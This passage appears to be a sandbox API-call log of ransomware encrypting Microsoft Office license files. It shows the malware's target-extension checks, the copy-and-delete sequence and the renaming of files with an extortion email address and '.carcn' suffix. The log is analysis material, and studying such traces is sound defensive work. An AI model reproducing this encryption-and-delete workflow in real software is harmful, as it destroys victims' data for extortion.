(lpString=".docx") returned 5 [0286.209] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.209] lstrlenW (lpString=".pdf") returned 4 [0286.209] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.209] lstrlenW (lpString=".xls") returned 4 [0286.209] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.209] lstrlenW (lpString=".xlsx") returned 5 [0286.209] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.209] lstrlenW (lpString=".ppt") returned 4 [0286.209] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0286.209] lstrlenW (lpString=".zip") returned 4 [0286.209] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.209] lstrlenW (lpString=".rar") returned 4 [0286.209] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.210] lstrlenW (lpString=".bz2") returned 4 [0286.210] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.210] lstrlenW (lpString=".7z") returned 3 [0286.210] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0286.210] lstrlenW (lpString=".dbf") returned 4 [0286.210] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0286.210] lstrlenW (lpString=".1cd") returned 4 [0286.210] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80 [0286.210] lstrlenW (lpString=".jpg") returned 4 [0286.210] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0286.211] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=11624) returned 1 [0286.211] CloseHandle (hObject=0x54c) returned 1 [0286.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 0x220 [0286.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0286.212] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.212] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0286.212] GetLastError () returned 0x0 [0286.212] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x2d68, lpOverlapped=0x0) returned 1 [0286.223] WriteFile (in: hFile=0x564, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0286.225] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.225] WriteFile (in: hFile=0x564, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x116, lpOverlapped=0x0) returned 1 [0286.225] SetEndOfFile (hFile=0x564) returned 1 [0286.225] CloseHandle (hObject=0x564) returned 1 [0286.225] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.225] SetEndOfFile (hFile=0x54c) returned 1 [0286.228] CloseHandle (hObject=0x54c) returned 1 [0286.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 1 [0286.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0286.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0286.230] lstrlenW (lpString=".doc") returned 4 [0286.230] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.230] lstrlenW (lpString=".docx") returned 5 [0286.230] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.230] lstrlenW (lpString=".pdf") returned 4 [0286.230] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.230] lstrlenW (lpString=".xls") returned 4 [0286.230] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.230] lstrlenW (lpString=".xlsx") returned 5 [0286.230] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.230] lstrlenW (lpString=".ppt") returned 4 [0286.230] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0286.230] lstrlenW (lpString=".zip") returned 4 [0286.231] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.231] lstrlenW (lpString=".rar") returned 4 [0286.231] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.231] lstrlenW (lpString=".bz2") returned 4 [0286.231] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.231] lstrlenW (lpString=".7z") returned 3 [0286.231] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0286.231] lstrlenW (lpString=".dbf") returned 4 [0286.231] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0286.231] lstrlenW (lpString=".1cd") returned 4 [0286.231] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0286.231] lstrlenW (lpString=".jpg") returned 4 [0286.231] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0286.232] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=10663) returned 1 [0286.232] CloseHandle (hObject=0x54c) returned 1 [0286.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 0x220 [0286.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0286.233] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.233] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0286.234] GetLastError () returned 0x0 [0286.234] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x29a7, lpOverlapped=0x0) returned 1 [0286.608] WriteFile (in: hFile=0x564, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0286.609] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.610] WriteFile (in: hFile=0x564, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x114, lpOverlapped=0x0) returned 1 [0286.610] SetEndOfFile (hFile=0x564) returned 1 [0286.610] CloseHandle (hObject=0x564) returned 1 [0286.610] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.610] SetEndOfFile (hFile=0x54c) returned 1 [0286.614] CloseHandle (hObject=0x54c) returned 1 [0286.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 1 [0286.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0286.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0286.616] lstrlenW (lpString=".doc") returned 4 [0286.616] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.616] lstrlenW (lpString=".docx") returned 5 [0286.616] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.616] lstrlenW (lpString=".pdf") returned 4 [0286.616] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.616] lstrlenW (lpString=".xls") returned 4 [0286.616] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.616] lstrlenW (lpString=".xlsx") returned 5 [0286.617] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.617] lstrlenW (lpString=".ppt") returned 4 [0286.617] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0286.617] lstrlenW (lpString=".zip") returned 4 [0286.617] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.617] lstrlenW (lpString=".rar") returned 4 [0286.617] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.617] lstrlenW (lpString=".bz2") returned 4 [0286.617] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.617] lstrlenW (lpString=".7z") returned 3 [0286.617] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0286.617] lstrlenW (lpString=".dbf") returned 4 [0286.617] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0286.617] lstrlenW (lpString=".1cd") returned 4 [0286.617] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0286.617] lstrlenW (lpString=".jpg") returned 4 [0286.617] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0286.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0286.618] lstrlenW (lpString=".doc") returned 4 [0286.618] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.618] lstrlenW (lpString=".docx") returned 5 [0286.618] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.618] lstrlenW (lpString=".pdf") returned 4 [0286.618] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.618] lstrlenW (lpString=".xls") returned 4 [0286.618] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.618] lstrlenW (lpString=".xlsx") returned 5 [0286.618] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.618] lstrlenW (lpString=".ppt") returned 4 [0286.618] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0286.618] lstrlenW (lpString=".zip") returned 4 [0286.618] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.618] lstrlenW (lpString=".rar") returned 4 [0286.618] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.618] lstrlenW (lpString=".bz2") returned 4 [0286.618] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.618] lstrlenW (lpString=".7z") returned 3 [0286.618] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0286.618] lstrlenW (lpString=".dbf") returned 4 [0286.619] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0286.619] lstrlenW (lpString=".1cd") returned 4 [0286.619] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0286.619] lstrlenW (lpString=".jpg") returned 4 [0286.619] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.619] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0286.619] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 37 [0286.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0286.620] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=11621) returned 1 [0286.620] CloseHandle (hObject=0x54c) returned 1 [0286.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 0x220 [0286.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0286.621] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.621] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0286.623] GetLastError () returned 0x0 [0286.623] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0286.654] WriteFile (in: hFile=0x564, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0286.655] ReadFile (in: hFile=0x54c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.656] WriteFile (in: hFile=0x564, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x11e, lpOverlapped=0x0) returned 1 [0286.656] SetEndOfFile (hFile=0x564) returned 1 [0286.656] CloseHandle (hObject=0x564) returned 1 [0286.656] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.656] SetEndOfFile (hFile=0x54c) returned 1 [0286.660] CloseHandle (hObject=0x54c) returned 1 [0286.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 1 [0286.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0286.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0286.883] lstrlenW (lpString=".doc") returned 4 [0286.883] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.883] lstrlenW (lpString=".docx") returned 5 [0286.883] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.883] lstrlenW (lpString=".pdf") returned 4 [0286.883] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.883] lstrlenW (lpString=".xls") returned 4 [0286.883] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.883] lstrlenW (lpString=".xlsx") returned 5 [0286.883] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.883] lstrlenW (lpString=".ppt") returned 4 [0286.883] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0286.883] lstrlenW (lpString=".zip") returned 4 [0286.883] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.883] lstrlenW (lpString=".rar") returned 4 [0286.883] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.883] lstrlenW (lpString=".bz2") returned 4 [0286.883] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.883] lstrlenW (lpString=".7z") returned 3 [0286.883] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0286.883] lstrlenW (lpString=".dbf") returned 4 [0286.883] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0286.884] lstrlenW (lpString=".1cd") returned 4 [0286.884] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0286.899] lstrlenW (lpString=".jpg") returned 4 [0286.899] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0286.900] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=22094) returned 1 [0286.900] CloseHandle (hObject=0x41c) returned 1 [0286.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 0x220 [0286.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0286.901] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.901] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft 